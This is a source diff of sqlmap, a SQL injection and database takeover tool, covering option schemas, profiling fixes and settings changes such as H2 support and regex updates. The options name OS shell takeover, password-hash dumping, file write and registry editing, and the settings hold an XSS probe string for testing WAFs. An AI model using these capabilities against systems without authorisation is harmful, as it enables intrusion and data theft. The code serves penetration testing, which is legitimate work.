-                               "torPort":           "integer",
-                               "torType":           "string",
-                               "checkTor":          "boolean",
-                               "delay":             "float",
-                               "timeout":           "float",
-                               "retries":           "integer",
-                               "rParam":            "string",
-                               "safeUrl":           "string",
-                               "safePost":          "string",
-                               "safeReqFile":       "string",
-                               "safeFreq":          "integer",
-                               "skipUrlEncode":     "boolean",
-                               "csrfToken":         "string",
-                               "csrfUrl":           "string",
-                               "forceSSL":          "boolean",
-                               "hpp":               "boolean",
-                               "evalCode":          "string",
-                             },
+    "Target": {
+        "direct": "string",
+        "url": "string",
+        "logFile": "string",
+        "bulkFile": "string",
+        "requestFile": "string",
+        "sessionFile": "string",
+        "googleDork": "string",
+        "configFile": "string",
+        "sitemapUrl": "string",
+    },
 
-            "Optimization":  {
-                               "optimize":          "boolean",
-                               "predictOutput":     "boolean",
-                               "keepAlive":         "boolean",
-                               "nullConnection":    "boolean",
-                               "threads":           "integer",
-                             },
+    "Request": {
+        "method": "string",
+        "data": "string",
+        "paramDel": "string",
+        "cookie": "string",
+        "cookieDel": "string",
+        "loadCookies": "string",
+        "dropSetCookie": "boolean",
+        "agent": "string",
+        "randomAgent": "boolean",
+        "host": "string",
+        "referer": "string",
+        "headers": "string",
+        "authType": "string",
+        "authCred": "string",
+        "authFile": "string",
+        "ignoreCode": "integer",
+        "ignoreProxy": "boolean",
+        "ignoreRedirects": "boolean",
+        "ignoreTimeouts": "boolean",
+        "proxy": "string",
+        "proxyCred": "string",
+        "proxyFile": "string",
+        "tor": "boolean",
+        "torPort": "integer",
+        "torType": "string",
+        "checkTor": "boolean",
+        "delay": "float",
+        "timeout": "float",
+        "retries": "integer",
+        "rParam": "string",
+        "safeUrl": "string",
+        "safePost": "string",
+        "safeReqFile": "string",
+        "safeFreq": "integer",
+        "skipUrlEncode": "boolean",
+        "csrfToken": "string",
+        "csrfUrl": "string",
+        "forceSSL": "boolean",
+        "hpp": "boolean",
+        "evalCode": "string",
+    },
 
-            "Injection":     {
-                               "testParameter":     "string",
-                               "skip":              "string",
-                               "skipStatic":        "boolean",
-                               "paramExclude":      "string",
-                               "dbms":              "string",
-                               "dbmsCred":          "string",
-                               "os":                "string",
-                               "invalidBignum":     "boolean",
-                               "invalidLogical":    "boolean",
-                               "invalidString":     "boolean",
-                               "noCast":            "boolean",
-                               "noEscape":          "boolean",
-                               "prefix":            "string",
-                               "suffix":            "string",
-                               "tamper":            "string",
-                             },
+    "Optimization": {
+        "optimize": "boolean",
+        "predictOutput": "boolean",
+        "keepAlive": "boolean",
+        "nullConnection": "boolean",
+        "threads": "integer",
+    },
 
-            "Detection":     {
-                               "level":             "integer",
-                               "risk":              "integer",
-                               "string":            "string",
-                               "notString":         "string",
-                               "regexp":            "string",
-                               "code":              "integer",
-                               "textOnly":          "boolean",
-                               "titles":            "boolean",
-                             },
+    "Injection": {
+        "testParameter": "string",
+        "skip": "string",
+        "skipStatic": "boolean",
+        "paramExclude": "string",
+        "dbms": "string",
+        "dbmsCred": "string",
+        "os": "string",
+        "invalidBignum": "boolean",
+        "invalidLogical": "boolean",
+        "invalidString": "boolean",
+        "noCast": "boolean",
+        "noEscape": "boolean",
+        "prefix": "string",
+        "suffix": "string",
+        "tamper": "string",
+    },
 
-            "Techniques":    {
-                               "tech":              "string",
-                               "timeSec":           "integer",
-                               "uCols":             "string",
-                               "uChar":             "string",
-                               "uFrom":             "string",
-                               "dnsDomain":         "string",
-                               "secondOrder":       "string",
-                             },
+    "Detection": {
+        "level": "integer",
+        "risk": "integer",
+        "string": "string",
+        "notString": "string",
+        "regexp": "string",
+        "code": "integer",
+        "textOnly": "boolean",
+        "titles": "boolean",
+    },
 
-            "Fingerprint":   {
-                               "extensiveFp":       "boolean",
-                             },
+    "Techniques": {
+        "tech": "string",
+        "timeSec": "integer",
+        "uCols": "string",
+        "uChar": "string",
+        "uFrom": "string",
+        "dnsDomain": "string",
+        "secondUrl": "string",
+        "secondReq": "string",
+    },
 
-            "Enumeration":   {
-                               "getAll":            "boolean",
-                               "getBanner":         ("boolean", "Banners"),
-                               "getCurrentUser":    ("boolean", "Users"),
-                               "getCurrentDb":      ("boolean", "Databases"),
-                               "getHostname":       "boolean",
-                               "isDba":             "boolean",
-                               "getUsers":          ("boolean", "Users"),
-                               "getPasswordHashes": ("boolean", "Passwords"),
-                               "getPrivileges":     ("boolean", "Privileges"),
-                               "getRoles":          ("boolean", "Roles"),
-                               "getDbs":            ("boolean", "Databases"),
-                               "getTables":         ("boolean", "Tables"),
-                               "getColumns":        ("boolean", "Columns"),
-                               "getSchema":         "boolean",
-                               "getCount":          "boolean",
-                               "dumpTable":         "boolean",
-                               "dumpAll":           "boolean",
-                               "search":            "boolean",
-                               "getComments":       "boolean",
-                               "db":                "string",
-                               "tbl":               "string",
-                               "col":               "string",
-                               "excludeCol":        "string",
-                               "pivotColumn":       "string",
-                               "dumpWhere":         "string",
-                               "user":              "string",
-                               "excludeSysDbs":     "boolean",
-                               "limitStart":        "integer",
-                               "limitStop":         "integer",
-                               "firstChar":         "integer",
-                               "lastChar":          "integer",
-                               "query":             "string",
-                               "sqlShell":          "boolean",
-                               "sqlFile":           "string",
-                             },
+    "Fingerprint": {
+        "extensiveFp": "boolean",
+    },
 
-            "Brute":         {
-                               "commonTables":       "boolean",
-                               "commonColumns":      "boolean",
-                             },
+    "Enumeration": {
+        "getAll": "boolean",
+        "getBanner": ("boolean", "Banners"),
+        "getCurrentUser": ("boolean", "Users"),
+        "getCurrentDb": ("boolean", "Databases"),
+        "getHostname": "boolean",
+        "isDba": "boolean",
+        "getUsers": ("boolean", "Users"),
+        "getPasswordHashes": ("boolean", "Passwords"),
+        "getPrivileges": ("boolean", "Privileges"),
+        "getRoles": ("boolean", "Roles"),
+        "getDbs": ("boolean", "Databases"),
+        "getTables": ("boolean", "Tables"),
+        "getColumns": ("boolean", "Columns"),
+        "getSchema": "boolean",
+        "getCount": "boolean",
+        "dumpTable": "boolean",
+        "dumpAll": "boolean",
+        "search": "boolean",
+        "getComments": "boolean",
+        "db": "string",
+        "tbl": "string",
+        "col": "string",
+        "exclude": "string",
+        "pivotColumn": "string",
+        "dumpWhere": "string",
+        "user": "string",
+        "excludeSysDbs": "boolean",
+        "limitStart": "integer",
+        "limitStop": "integer",
+        "firstChar": "integer",
+        "lastChar": "integer",
+        "query": "string",
+        "sqlShell": "boolean",
+        "sqlFile": "string",
+    },
 
-            "User-defined function": {
-                               "udfInject":         "boolean",
-                               "shLib":             "string",
-                             },
+    "Brute": {
+        "commonTables": "boolean",
+        "commonColumns": "boolean",
+    },
 
-            "File system":   {
-                               "rFile":             "string",
-                               "wFile":             "string",
-                               "dFile":             "string",
-                             },
+    "User-defined function": {
+        "udfInject": "boolean",
+        "shLib": "string",
+    },
 
-            "Takeover":      {
-                               "osCmd":             "string",
-                               "osShell":           "boolean",
-                               "osPwn":             "boolean",
-                               "osSmb":             "boolean",
-                               "osBof":             "boolean",
-                               "privEsc":           "boolean",
-                               "msfPath":           "string",
-                               "tmpPath":           "string",
-                             },
+    "File system": {
+        "fileRead": "string",
+        "fileWrite": "string",
+        "fileDest": "string",
+    },
 
-            "Windows":       {
-                               "regRead":           "boolean",
-                               "regAdd":            "boolean",
-                               "regDel":            "boolean",
-                               "regKey":            "string",
-                               "regVal":            "string",
-                               "regData":           "string",
-                               "regType":           "string",
-                             },
+    "Takeover": {
+        "osCmd": "string",
+        "osShell": "boolean",
+        "osPwn": "boolean",
+        "osSmb": "boolean",
+        "osBof": "boolean",
+        "privEsc": "boolean",
+        "msfPath": "string",
+        "tmpPath": "string",
+    },
 
-            "General":       {
-                               #"xmlFile":           "string",
-                               "trafficFile":       "string",
-                               "batch":             "boolean",
-                               "binaryFields":      "string",
-                               "charset":           "string",
-                               "checkInternet":     "boolean",
-                               "crawlDepth":        "integer",
-                               "crawlExclude":      "string",
-                               "csvDel":            "string",
-                               "dumpFormat":        "string",
-                               "encoding":          "string",
-                               "eta":               "boolean",
-                               "flushSession":      "boolean",
-                               "forms":             "boolean",
-                               "freshQueries":      "boolean",
-                               "harFile":           "string",
-                               "hexConvert":        "boolean",
-                               "outputDir":         "string",
-                               "parseErrors":       "boolean",
-                               "saveConfig":        "string",
-                               "scope":             "string",
-                               "testFilter":        "string",
-                               "testSkip":          "string",
-                               "updateAll":         "boolean",
-                             },
+    "Windows": {
+        "regRead": "boolean",
+        "regAdd": "boolean",
+        "regDel": "boolean",
+        "regKey": "string",
+        "regVal": "string",
+        "regData": "string",
+        "regType": "string",
+    },
 
-            "Miscellaneous": {
-                               "alert":             "string",
-                               "answers":           "string",
-                               "beep":              "boolean",
-                               "cleanup":           "boolean",
-                               "dependencies":      "boolean",
-                               "disableColoring":   "boolean",
-                               "googlePage":        "integer",
-                               "identifyWaf":       "boolean",
-                               "mobile":            "boolean",
-                               "offline":           "boolean",
-                               "purgeOutput":       "boolean",
-                               "skipWaf":           "boolean",
-                               "smart":             "boolean",
-                               "tmpDir":            "string",
-                               "webRoot":           "string",
-                               "wizard":            "boolean",
-                               "verbose":           "integer",
-                             },
-            "Hidden": {
-                               "dummy":             "boolean",
-                               "disablePrecon":     "boolean",
-                               "profile":           "boolean",
-                               "forceDns":          "boolean",
-                               "murphyRate":        "integer",
-                               "smokeTest":         "boolean",
-                               "liveTest":          "boolean",
-                               "stopFail":          "boolean",
-                               "runCase":           "string",
-                      },
-            "API": {
-                               "api":               "boolean",
-                               "taskid":            "string",
-                               "database":          "string",
-                      }
-          }
+    "General": {
+        # "xmlFile": "string",
+        "trafficFile": "string",
+        "batch": "boolean",
+        "binaryFields": "string",
+        "charset": "string",
+        "checkInternet": "boolean",
+        "crawlDepth": "integer",
+        "crawlExclude": "string",
+        "csvDel": "string",
+        "dumpFormat": "string",
+        "encoding": "string",
+        "eta": "boolean",
+        "flushSession": "boolean",
+        "forms": "boolean",
+        "freshQueries": "boolean",
+        "harFile": "string",
+        "hexConvert": "boolean",
+        "outputDir": "string",
+        "parseErrors": "boolean",
+        "saveConfig": "string",
+        "scope": "string",
+        "testFilter": "string",
+        "testSkip": "string",
+        "updateAll": "boolean",
+    },
+
+    "Miscellaneous": {
+        "alert": "string",
+        "answers": "string",
+        "beep": "boolean",
+        "cleanup": "boolean",
+        "dependencies": "boolean",
+        "disableColoring": "boolean",
+        "googlePage": "integer",
+        "identifyWaf": "boolean",
+        "listTampers": "boolean",
+        "mobile": "boolean",
+        "offline": "boolean",
+        "purge": "boolean",
+        "skipWaf": "boolean",
+        "smart": "boolean",
+        "tmpDir": "string",
+        "webRoot": "string",
+        "wizard": "boolean",
+        "verbose": "integer",
+    },
+
+    "Hidden": {
+        "dummy": "boolean",
+        "disablePrecon": "boolean",
+        "profile": "boolean",
+        "forceDns": "boolean",
+        "murphyRate": "integer",
+        "smokeTest": "boolean",
+        "liveTest": "boolean",
+        "stopFail": "boolean",
+        "runCase": "string",
+    },
+
+    "API": {
+        "api": "boolean",
+        "taskid": "string",
+        "database": "string",
+    }
+}

lib/core/patch.py

@@ -0,0 +1,26 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+import codecs
+import httplib
+
+from lib.core.settings import IS_WIN
+
+def dirtyPatches():
+    """
+    Place for "dirty" Python related patches
+    """
+
+    # accept overly long result lines (e.g. SQLi results in HTTP header responses)
+    httplib._MAXLINE = 1 * 1024 * 1024
+
+    # add support for inet_pton() on Windows OS
+    if IS_WIN:
+        from thirdparty.wininetpton import win_inet_pton
+
+    # Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
+    codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)

lib/core/profiling.py

@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
     """
 
     try:
+        __import__("gobject")
         from thirdparty.gprof2dot import gprof2dot
         from thirdparty.xdot import xdot
-        import gobject
         import gtk
         import pydot
     except ImportError, e:
@@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
     if os.path.exists(imageOutputFile):
         os.remove(imageOutputFile)
 
-    infoMsg = "profiling the execution into file %s" % profileOutputFile
+    infoMsg = "profiling the execution into file '%s'" % profileOutputFile
     logger.info(infoMsg)
 
     # Start sqlmap main function and generate a raw profile file
@@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
     if isinstance(pydotGraph, list):
         pydotGraph = pydotGraph[0]
 
-    pydotGraph.write_png(imageOutputFile)
+    try:
+        pydotGraph.write_png(imageOutputFile)
+    except OSError:
+        errMsg = "profiling requires graphviz installed "
+        errMsg += "(Hint: 'sudo apt-get install graphviz')"
+        logger.error(errMsg)
+    else:
+        infoMsg = "displaying interactive graph with xdot library"
+        logger.info(infoMsg)
 
-    infoMsg = "displaying interactive graph with xdot library"
-    logger.info(infoMsg)
-
-    # Display interactive Graphviz dot file by using extra/xdot/xdot.py
-    # http://code.google.com/p/jrfonseca/wiki/XDot
-    win = xdot.DotWindow()
-    win.connect('destroy', gtk.main_quit)
-    win.set_filter("dot")
-    win.open_file(dotOutputFile)
-    gtk.main()
+        # Display interactive Graphviz dot file by using extra/xdot/xdot.py
+        # http://code.google.com/p/jrfonseca/wiki/XDot
+        win = xdot.DotWindow()
+        win.connect('destroy', gtk.main_quit)
+        win.set_filter("dot")
+        win.open_file(dotOutputFile)
+        gtk.main()

lib/core/readlineng.py

@@ -14,11 +14,11 @@ _readline = None
 try:
     from readline import *
     import readline as _readline
-except ImportError:
+except:
     try:
         from pyreadline import *
         import pyreadline as _readline
-    except ImportError:
+    except:
         pass
 
 if IS_WIN and _readline:

lib/core/settings.py

@@ -19,16 +19,18 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
 from lib.core.enums import OS
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.2.2.0"
+VERSION = "1.2.12.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
 DESCRIPTION = "automatic SQL injection and database takeover tool"
 SITE = "http://sqlmap.org"
+DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
 DEV_EMAIL_ADDRESS = "[email protected]"
 ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
-GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
+GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
 GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
+ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
 
 # colorful banner
 BANNER = """\033[01;33m\
@@ -44,10 +46,10 @@ BANNER = """\033[01;33m\
 DIFF_TOLERANCE = 0.05
 CONSTANT_RATIO = 0.9
 
-# Ratio used in heuristic check for WAF/IPS/IDS protected targets
+# Ratio used in heuristic check for WAF/IPS protected targets
 IDS_WAF_CHECK_RATIO = 0.5
 
-# Timeout used in heuristic check for WAF/IPS/IDS protected targets
+# Timeout used in heuristic check for WAF/IPS protected targets
 IDS_WAF_CHECK_TIMEOUT = 10
 
 # Lower and upper values for match ratio in case of stable page
@@ -70,6 +72,7 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
+SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
 
 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -82,7 +85,7 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
 
 # Regular expression used for recognition of generic permission messages
-PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
+PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
 
 # Regular expression used in recognition of generic protection mechanisms
 GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
@@ -96,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
 # Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
 PRECONNECT_CANDIDATE_TIMEOUT = 10
 
+# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
+PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
+
 # Maximum sleep time in "Murphy" (testing) mode
 MAX_MURPHY_SLEEP_TIME = 3
 
@@ -169,6 +175,9 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
 # Minimum time response set needed for time-comparison based on standard deviation
 MIN_TIME_RESPONSES = 30
 
+# Maximum time response set used during time-comparison based on standard deviation
+MAX_TIME_RESPONSES = 200
+
 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation
 MIN_UNION_RESPONSES = 5
 
@@ -224,7 +233,7 @@ PYVERSION = sys.version.split()[0]
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
 MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
 PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
-ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL")  # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ 
+ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
 SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
 ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
 FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -232,6 +241,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
 
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -245,20 +255,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
+H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)
 
-HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
 
 # Names that can't be used to name files on Windows OS
 WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -299,6 +310,10 @@ BASIC_HELP_ITEMS = (
     "wizard",
 )
 
+# Tags used for value replacements inside shell scripts
+SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
+SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
+
 # String representation for NULL value
 NULL = "NULL"
 
@@ -312,12 +327,13 @@ CURRENT_DB = "CD"
 SESSION_SQLITE_FILE = "session.sqlite"
 
 # Regular expressions used for finding file paths in error messages
-FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
 
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
+    r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
     r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-    r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
+    r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
     r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
     r"<li>Error Type:<br>(?P<result>.+?)</li>",
     r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -359,10 +375,10 @@ URI_HTTP_HEADER = "URI"
 URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
 
 # Regex used for masking sensitive data
-SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
+SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
 
 # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
-SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
+SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
 
 # Maximum number of threads (avoiding connection issues and/or DoS)
 MAX_NUMBER_OF_THREADS = 10
@@ -383,7 +399,7 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
 CUSTOM_INJECTION_MARK_CHAR = '*'
 
 # Other way to declare injection position
-INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'
+INJECT_HERE_REGEX = r"(?i)%INJECT[_ ]?HERE%"
 
 # Minimum chunk length used for retrieving data over error based payloads
 MIN_ERROR_CHUNK_LENGTH = 8
@@ -401,7 +417,7 @@ REFLECTED_VALUE_MARKER = "__REFLECTED_VALUE__"
 REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
 
 # Regular expression used for replacing non-alphanum characters
-REFLECTED_REPLACEMENT_REGEX = r".+"
+REFLECTED_REPLACEMENT_REGEX = r"[^\n]{1,100}"
 
 # Maximum time (in seconds) spent per reflective value(s) replacement
 REFLECTED_REPLACEMENT_TIMEOUT = 3
@@ -421,9 +437,15 @@ DEFAULT_MSSQL_SCHEMA = "dbo"
 # Display hash attack info every mod number of items
 HASH_MOD_ITEM_DISPLAY = 11
 
+# Display marker for (cracked) empty password
+HASH_EMPTY_PASSWORD_MARKER = "<empty>"
+
 # Maximum integer value
 MAX_INT = sys.maxint
 
+# Replacement for unsafe characters in dump table filenames
+UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
+
 # Options that need to be restored in multiple targets run mode
 RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
 
@@ -479,7 +501,7 @@ LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual c
 REFLECTIVE_MISS_THRESHOLD = 20
 
 # Regular expression used for extracting HTML title
-HTML_TITLE_REGEX = "<title>(?P<result>[^<]+)</title>"
+HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
 
 # Table used for Base64 conversion in WordPress hash cracking routine
 ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
@@ -516,7 +538,7 @@ CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
 # Value to look for in response to CHECK_INTERNET_ADDRESS
 CHECK_INTERNET_VALUE = "IP Address Details"
 
-# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
+# Vectors used for provoking specific WAF/IPS behavior(s)
 WAF_ATTACK_VECTORS = (
     "",  # NIL
     "search=<script>alert(1)</script>",
